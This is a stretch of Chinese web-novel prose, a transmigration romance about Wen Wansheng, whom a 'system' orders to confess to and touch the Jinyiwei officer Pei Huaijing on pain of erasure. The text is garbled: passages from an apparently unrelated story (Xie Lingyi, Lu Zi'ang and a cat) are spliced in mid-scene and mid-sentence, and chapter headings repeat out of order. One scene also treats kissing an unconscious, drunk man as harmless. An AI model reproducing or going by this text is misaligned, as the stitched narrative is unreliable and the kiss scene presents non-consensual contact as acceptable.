这是个好机会,他喝醉了,现在没意识,轻轻贴上去三十息就行。她心跳如擂鼓,再确认一下:“裴大人?”裴怀璟纹丝不动。 对不住了。 温晚笙屏住呼吸,弯下腰,倾身过去,缓缓靠近。裴怀璟唇色殷红,经过酒水滋润,更是潋滟。 她心一横,亲了下去。 空荡的堂内,一人身姿挺直如松,静静候着学子们看完成绩,回来择座。 修长的指间,夹着一份考卷。 一个人的字迹,乃多年心性与习性使然。 短短旬月之间,绝不能脱胎换骨,判若两人。 早在先前批阅课业时,他便察觉出异样,只是或有刻意收敛,不甚明显。 她幼时,他曾指点过她一回笔墨。 那时他便留意到,粉雕玉琢的小女娃,天然使的是左手。 尽管街上那么多人,他还是第一眼就能看到了她。 女扮男装的温晚笙。 裴怀璟缓慢敛眸,抬起拿弓的手,指腹轻勾弓弦,对准他们。 锦衣卫和酒楼的掌柜腰背挺直地站在裴怀璟后面,掌柜的身体尤其僵硬,如履薄冰般,脸颊冷汗不止,抹了后又不要命地冒出来。 说来也是无妄之灾,锦衣卫估算出花魁游街当日射出箭的位置就是这间雅间,掌柜对此毫不知情,见人找来担忧会受牵连。 他想解释,可眼前这位大人不开口,自己又不敢擅自辩解。 想了想,掌柜还是壮起胆子解释:“大、大人,出事那日,这间雅间没人订,我也不知道那些箭为什么会从这里射出去。” “铮”一声,裴怀璟慢条斯理地弹过弓弦,射了个空箭。 掌柜吓一跳,险些跪下。 他抖如筛糠:“大人,小的当真不知情啊,那日来过酒楼的客人名册,小的早已奉上,不敢有丝毫隐瞒,望大人明察。” “你紧张什么,我可没说过此事与你有关。”裴怀璟回眸一笑,朝锦衣卫伸手,后者递来一支箭,他转身回去,利落地弯弓搭箭。 掌柜见他要亲自验证箭是不是从此处射出,不多言了。 现在大街上人来人往的,他朝外射箭就不怕会误伤行人?锦衣卫行事也太任意妄为了。掌柜如此想道,担惊受怕地看着。 身披大红官服的青年面如冠玉,举止优雅温柔,唇角带笑,挽弓搭箭的动作却无比娴熟。 掌柜莫名一阵毛骨悚然。南山阁是京城数一数二的酒楼,备受世家子弟的欢迎,就连一些朝中官员也喜欢来此相聚。 温晚笙被裴馨宁带来了这个地方,一下马车,她们几人就被掌柜亲自带上二楼的雅间。进去之前,裴馨宁看了一眼隔壁雅间。 听掌柜说隔壁的客人是夏世子夏子默,温晚笙就都明白了。 夏子默,原著的男主,世安侯府世子。裴馨宁不久前对夏子默一见钟情,总是想方设法见他。 温晚笙近日经常听裴馨宁念叨夏子默,重复说他们相遇的场景,清楚此为女子情窦初开的表现,没掺和进去,当个纯粹的聆听者。 今天被裴馨宁带来南山阁见夏子默,她也不准备做些什么。 一进雅间,裴馨宁就趴到紧挨隔壁雅间的那堵墙偷听对面说话,温晚笙对她的小动作视若无睹,找位置坐下品尝南山阁的秋露白。 秋露白真好喝,温晚笙在想自己要不要再做点酒水生意。 南山阁雅间隔音太好,裴馨宁听了半晌都没能听到一句话,失望地坐到温晚笙旁边,捏着帕子:“你说我跟夏世子有没有可能?” 你们是男女主,被作者锁死了。温晚笙内心一顿输出,说话却没把话说绝对,留有余地:“缘分这东西顺其自然便好。” 裴馨宁垂头丧气。 “罢了,今日权当你我二人出来散心,你想吃什么?” 温晚笙没跟裴馨宁客气,点了好几样菜,她父亲还没彻底消气,晚上回温府兴许还得挨饿,还不如在外面吃饱了再回去受罚。 用饭期间,裴馨宁又一次不受控制提起夏子默。 她抿唇:“他要是对我无意,怎会亲自送我回府。可他要是对我有意,怎会从不来找我?” 温晚笙赏着窗外美景,咽下口中鱼肉:“你可以直接问他。” 裴馨宁迟疑一瞬,频频往隔壁雅间看,被她说得有几分心动:“直接问?会不会太冒昧?” 不等温晚笙回答,裴馨宁取下腰间刻有“馨宁”二字的玉佩。 “我想把这个送给他。” 她羞答答道。 一向乖巧的人做事还挺大胆,温晚笙不由得感叹,抽走她手中玉佩,要给她戴回去:“等你们双方确认了心意再送玉佩也不迟。” 门突然被人从外面撞开,只见门外的丫鬟小厮脖颈上皆架了一把刀,裴馨宁没见过这等场面,登时叫了声,躲到温晚笙身后。 来人持利器相向,凶神恶煞问:“你们谁是裴怀璟的妹妹?” 裴怀璟勾弦手指微松,铁箭咻地飞出,直射长街。 掌柜不禁踮脚往外看。 铁箭不偏不倚地插进一少年的脚旁,只差分毫便能射中要害,对方吓了一跳,手里拎着的萝卜糕洒落在地,嘴里还咬着小半块。 温晚笙下意识拉着今安在往后退了几步,顾不上捡地上的萝卜糕,仰头看箭来之处。很快,她与手还握着弓箭的裴怀璟对上眼。 裴怀璟似心不在焉地倚在窗前,垂眸看着大街,眼神淡淡的。 他还曾斗胆同温升荣提过一句,无需强行纠正。 左利者多有聪慧灵巧之辈。 然而,数年之后再相逢,她用的已是右手。 性情亦是判若两人,逾矩不已。 而今 谢衡之抬起眼帘,透过窗棂,看见那道渐行渐近的身影。 她正侧首同令仪说着什么,眉眼弯成了月牙。 鲜活而恣意,宛若枝头迎风初绽的海棠,带着灼灼逼人的生命力。 心底深处,忽然浮现一种荒谬的结论。 第 48 章 第 48 章 “你敢不敢坐公主旁边。” “这有何不敢的。” “那我们来打个赌,赌谁能当上公主的同桌。” 一众小姐公子排成了长队,站得整整齐齐,有几分小学生等候点名的架势。 书童立于门侧,每唤一个名字,便有一人出列进门,秩序井然。 待楚怜芝的身影没入门内,原来安静的队伍里,就传来这一阵又一阵窃窃私语声。 温晚笙还握着没来得及还给裴馨宁的玉佩,就这样被错认成“裴馨宁”。即使裴馨宁说她才是,他们也不信,挟持温晚笙下楼。 刀剑无眼,温晚笙感受到脖子凉飕飕的,并未硬刚,一步一步地下了楼。走过拐角,他们不再往下,只用刀勒紧她,禁锢她的行动。 楼下,弓箭手成排,泛着冷光的箭矢直指楼梯的他们。 弓箭手中间站着一个锦衣卫,鸾带束腰,脚踏皂靴,手把着绣春刀,修长指节轻敲刀柄,鲜红官服如血,穿它的人却如雪。 劫持温晚笙的人看着他,出声威胁道:“裴怀璟,不想你妹妹死在我们手里,就让我们离开。” 裴怀璟抬起眼帘,视线扫过温晚笙,不发一言。 她玫红色的齐腰襦裙略显凌乱,泛起皱褶。往上看,纤细的脖颈被刀锋抵着,侧脸光洁,唇红齿白,鬓角的珠钗摇摇欲坠。 他的视线最终定格在温晚笙的脸上,若有所思。 温晚笙因为眼前的刀,连气都不敢大喘,第一次感觉死亡离自己如此近。钱还没赚够,也还没开始花,她可不能随随便便就死了。 但她不能慌,那样解决不了问题,要想办法活下去。 温晚笙尽量冷静下来。 打得她措手不及的是一道陌生系统音,冷冰冰的:“触发恶毒女配任务,请宿主向裴怀璟表白,时限十天。失败,抹杀。” 原著里,恶毒女配的逻辑是:我跟你表白,恶心死你。 什么? 温晚笙既对系统的出现感到震惊,也对这个任务感到震惊。 她呼吸不畅了。如果能闭上耳朵的话,温晚笙真的想闭上耳朵,不去听那些公子哥们吹牛。 不过没人跟她搭话,她的脸色端得很严肃。 慢慢地,她盯着自己衣袖上绣的梅花,出了神。 快三月了。 梅林里的花不知道谢了没。 这个世界的梅花香的很,她想给自己和朋友都做几个香囊。 刚才匆匆一瞥,她发现裴怀璟就站在她身后不远处。 如果换作平时,她肯定早就凑过去,多少刷点存在感。 几日后,裴馨宁命人到温家送去一张请帖,给温晚笙的。 裴馨宁过生辰,裴家设宴庆生,温晚笙备受裴馨宁重视,第一张请帖就给了她,这张还是裴馨宁亲手所写,请她务必到场。 温晚笙这几日是忐忑不安的……饭没少吃,收到她的请帖时还瘫在软榻上消食,一目十行看完,突然像狗一样闻自己身上的味道。 陶朱静静地看着姿势怪异的温晚笙,嘴角轻抽动。 自温晚笙那天出府回来沐浴,问她有关香料的事后就变得不太正常了,时不时闻闻自己,陶朱问她有什么心事,她又不肯说。 陶朱不好逼问自家主子,唯有平日里多留心她。 温晚笙大约是闻够了,收好请帖,直起身,琢磨着送裴馨宁的生辰礼物:“送她什么好呢。” 裴家家底比温家丰厚不知道多少,裴馨宁自幼要什么有什么,再昂贵的物件也有人双手奉上,温晚笙没想送金银珠宝这些。 陶朱插缝提了一嘴:“昨天有人上门来提亲。” “给家中哪个姊妹?” 温晚笙随口问。 陶朱就知道她没把自己的婚姻大事放心上:“是八姑娘,她比您还要小上一岁呢,这就谈婚论嫁了,想抢在您这个嫡女前边。” 八姑娘是温三爷妾室沈姨娘所生,她们姊妹的关系不亲近。 “哦。” 温晚笙左耳进,右耳出,继续想自己给裴馨宁的生辰礼物。 转眼间到了裴馨宁生辰那天,温晚笙拎着礼物上裴家,守门仆役被提前打过招呼,也认得她,一见她来,连请帖都不看便往里引。 温晚笙不等同于其他客人,裴馨宁嘱咐过不用带到用来招待来客的庭院,直接带去她闺房。 裴家仆役对温晚笙毕恭毕敬:“温七姑娘请随奴来。” “有劳了。” 裴家有裴馨宁,也有裴怀璟。温晚笙进去后还没见到裴馨宁,却先遇到了裴怀璟,她想起做过的事,做贼心虚,下意识朝他看了一眼。 裴怀璟坐在小石道旁的凉亭中,眉眼低垂着,手握书卷,宽大袖袍之下,十指修长,长腿屈起,衣摆稍稍拂地,却不染尘埃。 他靛蓝色锦袍极素雅,只有袖口处有少许绣纹,缀着玉佩的蹀躞带紧扣腰身,腰线流畅。 温晚笙感到一丝丝紧张。 她以前无意识当恶毒女配时得罪过裴怀璟,觉醒后对他是避而远之的,不如装作没看到,跟着裴家仆役一走了之?温晚笙觉得可行。 却不防裴怀璟这厮喊住了她:“温七姑娘。” 听裴怀璟声音,对她的态度是和颜悦色的,确有几分世家大族贵公子的风范。要不是温晚笙知道他是心狠手辣的锦衣卫,肯定会被迷惑了去。 温晚笙这回可不能装作没看到他了,讪笑走过去:“裴大人?瞧我这破眼神,刚没看到你。” 她没走太近,大半个身子还留在凉亭外,离他一丈远,始终保持着距离,情不自禁深呼吸,暗暗闻自己,又不露痕迹后退一步。 裴怀璟浅笑道:“没事。” 他起身,一步步靠近她。温晚笙当着裴怀璟的面不好再往后退。 他、他不会是要闻她吧? 信中内容言简意赅,一目了然,显然不是检举信,裴怀璟倒是平静:“何时收到这封信的?” 缇骑以为这封信事关案情,忙不迭道:“卑职一收到信便送来给大人了,送信的乞丐还扣留在门外,可随时带进来审问。” 锦衣卫做事习惯留一手,自当不会轻易放走那个乞丐。 稀碎曦光越过屋檐洒落,照得裴怀璟飞鱼服上的图案栩栩如生,近看却又透着丝灵动的诡异。 他将信纸叠起来,香气顺着接触染到皮肤:“不用。想来他也没胆子骗锦衣卫,应该确实不知道送信人是谁,可以放他走了。” 缇骑:“是。” 裴怀璟抬手递信到他面前,温声问:“你有没有闻出什么?” 纵然不理解纸有什么好闻的,缇骑还是照做,他不敢敷衍裴怀璟,认真地嗅闻,果然闻到一股干净的清香:“信纸有香。” 裴怀璟狭长眼尾垂下,慢条斯理道:“对。信纸有香,闻着还是上等好香,寻常人家消受不起,你去香粉铺查一下这是什么香。” 温晚笙没从书斋的正门进,轻车熟路找到后门,一进去就看到一个扎着高马尾的少年。他坐在房梁上,居高临下地看像贼人的她。 她不甘示弱,回以一视。 少年漆黑的马尾垂在窄瘦腰间,蹀躞带挂着一只灰沉的埙,戴着一张狰狞的面具,露出来的眉眼清冷,薄唇微粉:“你来了。” 温晚笙翻开他放在案桌的账簿:“不是说最近生意多,你忙不过来?怎么还有空爬房梁?” 他没理会她的打趣:“我明日要去苏州一趟。” 她扔下账簿:“明天?” 少年点头。 温晚笙激动站起:“你不早说,那已经接了的生意怎么办?总不能全退了。”要付违约金的! 一年前少年被她救下,秘密合伙开了这家书斋。 明面上,他们开书斋卖书,暗地里接江湖生意,包打听,帮找东西或找人等等,少年武功高强,还有江湖关系,不愁搭不上路。 原来他还有个收钱杀人业务的,被温晚笙否决了。 在遇到温晚笙之前,他都是一个人单干的,她知道后表示想加入,他有几分吃惊,她很缺钱?但为了报答她的救命之恩,同意了。 温晚笙是很缺钱,因为她清楚记得原著有这样一裴剧情,温三爷很快会为了他不小心闯祸的唯一儿子,妄图牺牲她。 他儿子打了人,对方父母也是官,不会吃哑巴亏,要求他们赔三千两,否则报官府处理。 一品官员一年才一百八十两白银的俸禄,更别提他了。 温三爷没胆子贪污,那一点俸禄不仅不够三房的家用,还要温晚笙母亲李氏经常出钱补贴。 他哪有那么多钱替沈姨娘生出来的庶子擦屁股,可又没法眼睁睁看着儿子去坐牢,就把主意打到了尚未有婚约的温晚笙身上。 温三爷打算为温晚笙定下一桩婚约,拿她的聘礼去解决困境。反正她早晚得出嫁,还不如早点定下来,帮帮弟弟,他是这么想的。 按照剧情发展,是李氏为了她,变卖自己的嫁妆,阻止了。 可温晚笙不想这么做。 温晚笙要自己攒够三千两,买断她和温三爷之间寥寥无几的父女情分,逼他写下一份受大燕律法保护的契约——收银后,他从此不得再干涉她一分一毫。 大燕皇帝与皇后恩爱有加,他曾为她下令改过律法。 其中就有几条偏向于保护女子权益的,只要女子父母和女子双方同意,签订契约后,女子可出外自立门户,不受本家约束。 “那惨了,”陆子昂拖长了调子,幸灾乐祸道,“你初吻就没了。” 裴怀璟眉心蹙了蹙。 “来福,过来!”陆子昂不死心,又唤了一声。 来福充耳不闻,全无动弹的意思。 貌似很满意少年怀里的气味。 温晚笙必须找到来钱快的生意,尽早攒够三千两。 即使布庄一年的生意都好,所赚也不过百余两,远远不够。与少年合伙接江湖生意是她的希望,完成一桩就有几十两或上百两。 一个月接几桩类似的生意,收益比得上寻常商铺辛苦几年。 至少温晚笙暂时找不到能比它来钱快,赚钱还多的生意了。当然,高收益往往伴随着高风险,出这些任务会有一定的危险。 她也愿意承担。棋盘街人流如织,有来自各地的商贾,也有不少妇人和尚未出嫁的闺阁千金,和平民女子不同,她们出门戴帷帽是常态。 温晚笙买的是最常见那款帷帽,身手又敏捷,跟滑不溜秋的蚯蚓似的,溜进人群就找不见了。 即便目力再好,也难在众多穿着相差不大的女子中锁定她。 随着裴怀璟出行的锦衣卫同样身穿便服,看着温晚笙消失的方向,锦衣卫的本能促使他下意识往前追,随后才回味过来她说了什么。 锦衣卫退回裴怀璟身边,唇瓣翕动着,难得的不知所措。 若那女子意图对裴怀璟不轨,他还能上前把人拿住,抓回诏狱审。可她只是对裴怀璟表达喜欢之情而已,难不成这也要抓回诏狱? 锦衣卫在民间的名声不太好,百姓畏之如虎,他们权利大,雷厉风行,却也不能因为姑娘说一句“我喜欢你”就随便抓人。 这摆明是乱来。 何况裴怀璟这般“花容月貌”,假如是女子,求亲的人绝对踏破了裴家的门槛。现下抛开他是锦衣卫的身份,着实招姑娘的喜欢。 对方一时情难自抑,鬼迷心窍又顾及名声,不敢以真面目示人做出此等事,也不是说不过去。 末了,他低声试探地喊了裴怀璟一声:“大人?” 裴怀璟也在看着这个锦衣卫眼中“头戴帷帽,害羞向他示爱女子”消失的方向,她早就于拥挤的人潮中消失得无影无踪了。 她身上的味道跟信纸的如出一辙,加上那句仿佛烫嘴的“我喜欢你”,可以断定她就是今早指使乞丐到北镇抚司送信之人。 他感觉她的身形有点熟悉,好像在哪里见过她。 裴怀璟看似温润的目光渐凝。 他们分工合作,会让她借着温家姑娘的身份跟京中贵女打听一些普通人打听不到的消息。 而他收到消息后行动,赚来的银钱还是对半分。 书斋稳定盈利后,他们也没想过对外招人帮忙。虽然大燕律法没禁止,但还是见不得光的,被旁人发现可能会牵扯出不少麻烦。 所以无论是以前,现在,还是以后,书斋也只会有两个人。 那就是她和他。 温晚笙习惯跟少年一起办事了,听他今天忽然说要去苏州,不禁手忙脚乱,又问一遍:“你到底打算怎么处理已经接了的生意?” 少年沉默片刻,眼风扫过她:“不是还有你?下一桩生意是找人,我相信你能胜任的。” 温晚笙怎么可能答应。 “不行,我不准你去苏州。想去也行,干完活再去,否则没……”话音未落,一枚暗器刺进温晚笙旁边的椅子,擦着她头发过, 剩下的门字在温晚笙唇齿间绕了一圈,被她硬生生咽了下去。 她改口:“你去吧。” 挑选生意合伙人需谨慎,一不小心他会威胁你。 一眨眼,少年跃至靠小巷的窗前,面具下的半张脸轮廓分明:“半个月后我必定回来,接下来的几桩生意,我分文不取。” 温晚笙摆了摆手,让他快点滚蛋,免得在这碍眼:“接下来的活要我一个人去干,不用你说,我也不会分你一文钱的。” 少年离开后不久,温晚笙也走了。听陶朱的话,早点回温家。 冤家路窄,就买油糕的功夫,她遇到了裴怀璟。他没穿飞鱼服,站在一家香粉铺前,一身低调青衣,更像进京赶考的白面书生了。 早说晚说都得说,择日不如撞日,温晚笙灵机一动,拐弯去买帷帽,包得严严实实,跑走到裴怀璟面前,飞快地说:“我喜欢你。” 说完撒腿就跑。陆子昂啧了一声,半是惊奇半是纳闷地打量着一人一猫,“真是奇了怪了,它今天怎么这么喜欢你?” “喜欢?”裴怀璟黑瞳里渗出的迷惘深了一分。 陆子昂呵呵一笑,“舔你,可不就是喜欢你。” 裴怀璟向来不招正常的动物喜欢,今天来福估计是中邪了。 陆子昂一边把抗拒他的猫抱回来,一边嘀咕道,“得让它晒晒太阳,驱驱邪” 而少年垂下眼睑。 眸色轻轻荡了一下。 喜欢。 第 49 章 第 49 章 上完今天的最后一节课,温晚笙发现了一件妙事。 自从上次考完试,范先生对她的态度缓和了不少。 虽然依旧严厉,但她能感受到,是那种好的严厉。 下学后,她照例去看猫。 然而找了半天,也没找到猫影。 她眸光一转,走向专心致志捣鼓捣鼓着药材的男子。 温晚笙怕不成功,很用力地牵住他,而裴怀璟常年深处阴暗诏狱,肌肤病白,被她用力一捏,轻易便留下似遭受过凌虐的红痕。 附近暗,温晚笙又心系任务,并未多加留意,自然不知道他的手被她弄红了,也没想到这层。 她已经准备功成身退了。 裴怀璟指腹摩挲着留有温晚笙温度的掌心,眉眼浮现几不可见的排斥,看向她时却又依旧的平易近人:“你还有话要跟我说?” 温晚笙朝右迈了几步,指着前面道:“送到这里就可以了,我沿着这条街走回去,你是锦衣卫指挥佥事,北镇抚司的公事要紧。” 他没坚持要送她回温家:“那好,依温七姑娘所言。” 抛开别的不说,裴怀璟今晚肯答应送她回来,是值得温晚笙感激的。出于礼貌,她让裴怀璟先走,目送他远去,自己再毫无留恋离开。 由于温晚笙没回过头,所以不知道裴怀璟在中途回头看了她一眼,看到她小跑着往温家方向冲,手里的那根冰糖葫芦晃来晃去。 “命运坎坷”的冰糖葫芦有几次差点被温晚笙甩飞出去。 旋既,面不改色,心不跳地伸出手,掌心朝上。 “干嘛?!”陆子昂警惕地看了她一眼。 陆子昂生了一张清秀的娃娃脸,脾性也时常跳脱任性,喜怒形于色,像个没长大的孩子。 但沉下脸来研究那些艰涩医理时,却显得格外老成。 以至于温晚笙有时候觉得他十三岁,有时候又觉得他三十岁。 见他装蒜,温晚笙板着脸到一边坐下,给自己倒了一杯早已没了热气的茶,淡定道:“说吧,来福被你藏哪了?” 温晚笙路过温家大门不入,还鬼鬼祟祟地用衣袖遮住口鼻,一溜烟直奔角门,看着熟练得很。 温家有不许夜归的家规,城内的宵禁是戌时五刻开始实行,而温家大门会在戌时初上锁,除了当官的几位爷,任何人不得出入。 但陶朱会趁人不在时悄悄松开角门的小锁,给她留门。 果不其然,角门一推就开,温晚笙先探头看里面有没有人,然后蹑手蹑脚进来,极轻地阖门,拉过垂在把手边缘的锁链重新上锁。 回到听铃院,她跑进房间:“陶朱,我在回来的路上给你买了冰糖葫芦,闻着香甜,应该挺好吃的,你不是也喜欢……” 她的声音戛然而止。 房间里并不止陶朱一人,还有温晚笙同父异母的八妹妹温舒。她原是坐着的,见到温晚笙便起身,柔柔道:“七姐姐,你回来了。” 温晚笙的目光扫过温舒。 她素来恪守温家规矩,甚少出门,今晚的妆容不浓,却能看得出精心打扮过,琼鼻朱唇,眸若秋水,两颊胭脂恰到好处。 陶朱朝温晚笙使了个眼色,想告诉她,温舒来很长时间了。 温晚笙扬起眉,将冰糖葫芦交到陶朱手上,拉过凳子坐下,大大方方一挥手:“八妹妹别拘着,坐啊。” “谁藏了?”陆子昂像是被戳中心事,语气有点闷,“它自己腿脚利索了,爱上哪野上哪野,我哪管得住,说不定是嫌我这里药味重,自己找乐子去了” 话音未落,只听墙角那堆放着空药篓的杂物后面,传来一阵窸窣轻响。 随即,一个灰扑扑的毛茸茸小脑袋探了出来,琥珀色的猫眼一亮,“喵”地叫了一声。 它完全无视脸色已经开始发黑的陆子昂,直奔少女。 温晚笙含笑张开手臂,那小东西便精准地一跃而入,毛茸茸的脑袋在她脸颊和颈窝处,亲昵又热情地蹭来蹭去。 “乖宝,想我了?”温晚笙被它蹭得发痒,笑着揉了揉它的小脑袋。 温舒这才又坐,给她倒了杯茶:“七姐姐怎么这么晚回来?父亲和嫡母知道了会担心的。” “我不说,你不说,他们不会知道的,不是?” “七姐姐您说的是。”温舒听出了温晚笙的言外之意,言语间尽是对她这个七姐姐的恭顺。 温晚笙不跟她拐弯抹角:“你来找我有什么事?” 温舒忽然跪下,拉住她的手,眼眶红得很快,泪眼盈盈,哑声道:“七姐姐,求您帮帮我。” 陶朱立马上前要扶起她:“这可使不得,八姑娘您快起来。秋莲,你还不快扶起你家姑娘?” 谁知秋莲也扑通地跪下了:“还望七姑娘帮帮我家姑娘。” 温晚笙因为母亲李氏和沈姨娘,跟温舒这个八妹妹没多少来往,见她突然跪自己,有点束手无策:“你起来再说要我帮你什么。” 温舒不知想到何事,泣不成声,还是秋莲替她说的:“八姑娘不想嫁给户部侍郎之子。” 户部侍郎之子不学无术,名副其实的纨绔子弟。 沈姨娘却说这世间哪个男子不风流,年轻时不懂事,流连于烟花柳巷也情有可原,待成婚便会稳重些,以家庭为重的了。 实际上,沈姨娘她就是看中了他是户部侍郎之子的身份,硬是要给温舒定下这一门亲事。 温晚笙安静听完秋莲说事情的来龙去脉,没插嘴。 温舒拿不准温晚笙的心思,抽噎着,双眼都哭肿了:“七姐姐,我知道这是个不情之请,可、可我没办法了,只能来求您。” 然后,她抱着猫站起身,对着脸色不佳的陆子昂,一本正经地道:“来,来福,跟你干爹说再见。” 看着这熟悉的一幕,陆子昂从鼻子里重重哼出一声,别开脸,硬邦邦地道:“谁是它干爹。” 他越想越气。 这臭猫跟它主人亲就算了,竟然跟裴怀璟也格外黏糊,舔来舔去的。 温晚笙笑了一下,郑重其事地从袖子里掏出一个普蓝色的香囊,递到他跟前。 陆子昂不明所以地接过,在少女恳切目光的注视下,还当真将鼻尖凑近,仔细嗅了嗅那股清雅微苦的药草香气。 “安神的。”他几乎没怎么犹豫,便给出了专业结论。 温晚笙眉眼弯起,点头赞道,“真不愧是陆医师,好鼻子!” “八妹妹,不是我不想帮你。你的亲事,我不便插手。沈姨娘如果知道,怕是会到父亲面前大闹,怨恨我搅和了你的好亲事。” 此话一出,温舒双手无力垂下:“我明白了。” 温舒大概清楚求下去也不会有好结果,心如死灰,失神落魄站起来,被秋莲搀扶着出去。 温晚笙看着温舒瘦削的身影,想起了温舒小时候鼓起勇气想亲近她,却被沈姨娘拉走的事。那时起,她们两姐妹就没什么来往了。 她思忖道:“八妹妹,你真的敢忤逆沈姨娘?” 话音刚落,一阵香风拂面而过,是去而复返的温舒带来的,她再次握住温晚笙的手:“七姐姐有所不知,我早已心有所属。” “你早已心有所属?”温舒平时大门不出,现在却说自己心有所属,还挺出乎温晚笙意料的。 其实她能猜到对方门第不及温家:“哪家的公子?” 温舒有几分不好意思。这是温晚笙的机会,所以她没有选择提前避免他儿子伤人的事发生,而是选择顺其自然,等它发生,然后用钱脱离温三爷 下一刻,温晚笙的眼神又落到了他处,仿佛看裴怀璟那一眼仅是偶然一飘而过,没别的想法。 不知为何,裴怀璟蓦地止步,只看着,没再上前。 裴馨宁闻声赶来,越过他,关切地看着温晚笙,发现她脸色不好:“是不是哪里不舒服?” 温晚笙见不少人的视线聚焦在她身上,后知后觉知道自己刚刚的反应太大了,颇为惹眼,于是倾身到裴馨宁耳边说了句话。 只见裴馨宁的眉头渐松,最后扶温晚笙席地而坐。 随后裴馨宁唤丫鬟去煮一碗芍药甘草汤来,因为温晚笙为不惹她怀疑,撒了个小谎,抱歉地说自己的腿抽筋了,这才突然站起来。 本来裴馨宁建议温晚笙离席到厢房休息,是她坚持要留下的。 碍于温晚笙的坚持,裴馨宁误会她是在意自己,不想拂自己过生辰的兴致,在她不知情下又自我攻略一番,感动连连,退了一步。 芍药甘草汤能缓解腿抽筋的症状,裴馨宁曾于身体不好时喝过,想拿来给她试试,不忘叮嘱:“再有不舒服,定要告诉我。” 温晚笙捡起精神,勉强装作若无其事道:“好。” 这件事顶多算小插曲,没掀起太大的风浪,也没影响到客人兴致,他们接着谈笑风生,宴席间杯觥交错,鼓乐齐鸣,歌舞升平。 事情既被解决,裴怀璟自然没留下来的必要,回到男席归座。 他的位置恰好处于几道落地屏风错开的间隙,不知是不是裴怀璟的错觉,总能感到一道视线追随着他的手而动,裹挟莫名的意味。 过了一裴较长的时间,客人来敬酒套近乎,裴怀璟举杯饮酒,那道视线还在,存在感虽说不上强,还很淡,想来是有所收敛。 但他可以及时感知到,甚至能确定在哪个方向。 借着客人敬完酒离开那瞬间,他终于抬眸朝屏风间隙看去。从这个角度,能看到的人不多,却也不少,有五个,温晚笙位列其中。 裴怀璟淡淡地扫过另外四个女子,然后停在温晚笙姣好的脸上。 她双手端着丫鬟送来的芍药甘草汤,白皙面皮被碗里散发出来的热雾熏得微红,眼皮耷拉,盯着汤水喝,并未四处张望。 倒是温晚笙左边的女子时不时看一眼屏风,与同伴议论上面的刺绣精湛,绝非凡品,恐怕有市无价,竟被裴家随意拿来当遮挡物。 而温晚笙喝完裴馨宁为她准备的芍药甘草汤后,开始吃饭了。 她就没看他一眼。 裴怀璟缓缓放下酒杯,侧过身子,不再看,游刃有余地应对那些世家子弟,对方故意谈及官场的事,想探探口风,他却密不透风。 夏子默也举着一杯酒过来,仗着自己是世子,挤走其他人,压根不管这样做又多么不厚道,爽朗大笑:“裴公子,我敬你一杯。” 裴怀璟双手持杯。 庭院上方挂满了红灯笼,光影交错,他面如冠玉,双眸含笑更添艳色:“我该敬你一杯才是,多谢你那日在南山阁救下舍妹。” 夏子默顿了顿,笑容微不可察滞了些,仰头一干而尽,忽用只有两人能听见的声音问:“谢家的事是不是当真无法挽回了。” 裴怀璟面不改色道:“你知道圣上忌讳什么的。” 结党营私。 夏子默脑海里滚过这个词,又闪过当今圣上那张看似慈祥的面容,可天下谁人不知他生性多疑,眼里容不得一丁点沙子。 但见温晚笙有松口帮自己的意向,她决定如实相告:“他是从小地方来进京赶考的,上一年落榜后就待在文初书院里学习。” 说罢,怕温晚笙误会此人没真才实学,温舒忙不迭补充道:“他上一年是身体不适才落榜的。” 文初书院? 温晚笙下意识摸了下袖中那幅小像,傅迟也是文初书院的学子,也许可以从中找到有关线索。 她拿过秋莲的帕子给温舒擦脸上泪痕:“八妹妹,此事我会认真考虑,你先回去。” “叨扰七姐姐了。” 送走温舒,温晚笙坐在床上沉思,陶朱探身进去越过她去铺被褥:“您的裙子怎么换了?” 她糊弄道:“办事的时候弄脏了,随便买了套换上。” 陶朱看了她很久,话锋一转:“您为什么答应八姑娘?您又不是不知道沈姨娘是怎样的人,若他日闹大了,您会……” 温晚笙做了暂停的手势:“你别生气,我心里有数的。” “您的心何时变得这般软了,换作以前,您恐怕会直接将人赶出听铃院,奴是越发看不透您了。”陶朱气呼呼去给她弄浴汤了。 温晚笙不在意陶朱的态度,摊开小像,看这个名唤傅迟的男子的脸,她莫名有种不详的预感。 温晚笙心下一宽,转移话题道,“对了,说起来,谢先生今天没来吗?” 谢令仪这样的性子,还真的需要一个人随时随地护着。 “有来的,”谢令仪忽然想起什么,心绪缓了不少,声音也平稳了些:“兄长被几位大人请去那边亭中叙话,他让我在此处稍候” 她一边说着,一边下意识抬眸,朝着谢衡之离去的方向望去。 然而,视线不堤防间,却先撞上了另一道身影。 段冲处理完那纨绔,此刻正静静立于她们几步之外。 谢令仪心头没来由地一慌,方才想说的话顿时忘得一干二净,“他,他” 第 50 章 第 50 章 温柔的红色烛光落到夏子默头顶,彻底映红了他的侧脸,入喉的酒水冰凉、辛辣:“什么时候?”圣上什么时候要对谢家动手。 他们一问一答,有些问题说得并不清楚,双方却心知肚明。 裴怀璟没错过夏子默掩盖在眼底深处的不忍,但没法理解,说了个准确的时间:“一日后。” 夏子默得知答案,恢复以往那副没心没肺、只顾吃喝玩乐的纨绔世子姿态,笑呵呵地敬了他几杯酒就走了,恍若无事发生。 隔在屏风另一边的温晚笙骂完系统的祖宗十八代,出神思索片刻,终究是舍不得自己的小命,绞尽脑汁地想完成这次任务的办法。 牵裴怀璟的手? 这难度可大了,首先他是个训练有素的锦衣卫,想近他身谈何容易,像上次那样蒙着面冲过去,说不定还没碰到他就被他杀了。 所以牵手一事不能隐藏身份去做,不切实际,被当作刺客被杀的可能性太高,得不偿失。 如何装作不经意间牵住他的手……温晚笙的思路定格在这里。 她抬头看屏风间隙,追寻裴怀璟的身影,前不久还坐着人的地方空空如也,不知道去哪儿了。 也罢,不急于一时。 裴怀璟此人多智而近妖,得思虑周全方可行事,急急忙忙容易出差错,一旦让他生出防范之心,那她更就难下手了,不值当。 况且她还有一桩寻人的生意单子需要在三天内完成,时间紧迫,刻不容缓,这件事在温晚笙心中同样重要。 眼看着快要宴席尾声,温晚笙以困乏为由,去跟裴馨宁道别。 出了裴家,温晚笙直接进了马车,动作熟练地在里面换衣裳,换好后掀开帘子往外看,等马车经过某条不起眼的小巷时下去。 现在还不到宵禁的时辰,灯火辉煌,大街小巷热闹得很,四下喧嚣,吆喝叫卖声不绝于耳,小贩挑着各色各样的商品穿街而过。 她找了个没人的地方,掏出一张已经看过几遍的小像。纸上的字灵动秀美,颇有独特的神韵,不同于那天的粗糙潦草。两者字迹明明无相似之处,可裴怀璟就是莫名想起了那张纸条。 